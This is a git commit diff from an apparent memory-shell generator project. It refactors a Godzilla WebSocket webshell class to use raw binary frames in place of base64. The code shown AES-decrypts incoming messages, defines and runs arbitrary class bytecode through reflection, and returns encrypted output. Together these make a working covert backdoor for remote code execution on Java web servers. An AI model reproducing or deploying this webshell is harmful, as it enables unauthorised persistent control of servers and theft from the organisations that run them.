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refactor: change godzilla websocket base64 to raw

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ReaJason
2026-01-18 23:49:41 +08:00
parent bf50918a99
commit b49ad1581f
14 changed files with 128 additions and 61 deletions
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generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaWebSocket.java
+5 -26
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@@ -12,21 +12,22 @@ import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.ByteBuffer;
/**
* @author ReaJason
* @since 2025/5/9
*/
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<String> {
public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<ByteBuffer> {
public static String key;
private Session session;
private static Class<?> payload;
@Override
public void onMessage(String message) {
public void onMessage(ByteBuffer byteBuffer) {
byte[] result = null;
try {
byte[] data = base64Decode(message);
byte[] data = byteBuffer.array();
data = x(data, false);
if (payload == null || (data[0] == -54 && data[1] == -2)) {
payload = reflectionDefineClass(data);
@@ -44,7 +45,7 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
result = getErrorMessage(e).getBytes();
}
try {
session.getBasicRemote().sendText(base64Encode(x(result, true)));
session.getBasicRemote().sendBinary(ByteBuffer.wrap(x(result, true)));
} catch (Exception ignored) {
}
}
@@ -83,28 +84,6 @@ public class GodzillaWebSocket extends Endpoint implements MessageHandler.Whole<
session.addMessageHandler(this);
}
@SuppressWarnings("all")
public static String base64Encode(byte[] bs) throws Exception {
try {
Object encoder = Class.forName("java.util.Base64").getMethod("getEncoder").invoke(null);
return (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
} catch (Exception var6) {
Object encoder = Class.forName("sun.misc.BASE64Encoder").newInstance();
return (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
}
}
@SuppressWarnings("all")
public static byte[] base64Decode(String bs) throws Exception {
try {
Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
} catch (Exception var6) {
Object decoder = Class.forName("sun.misc.BASE64Decoder").newInstance();
return (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
}
}
public byte[] x(byte[] s, boolean m) throws Exception {
Cipher c = Cipher.getInstance("AES");
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));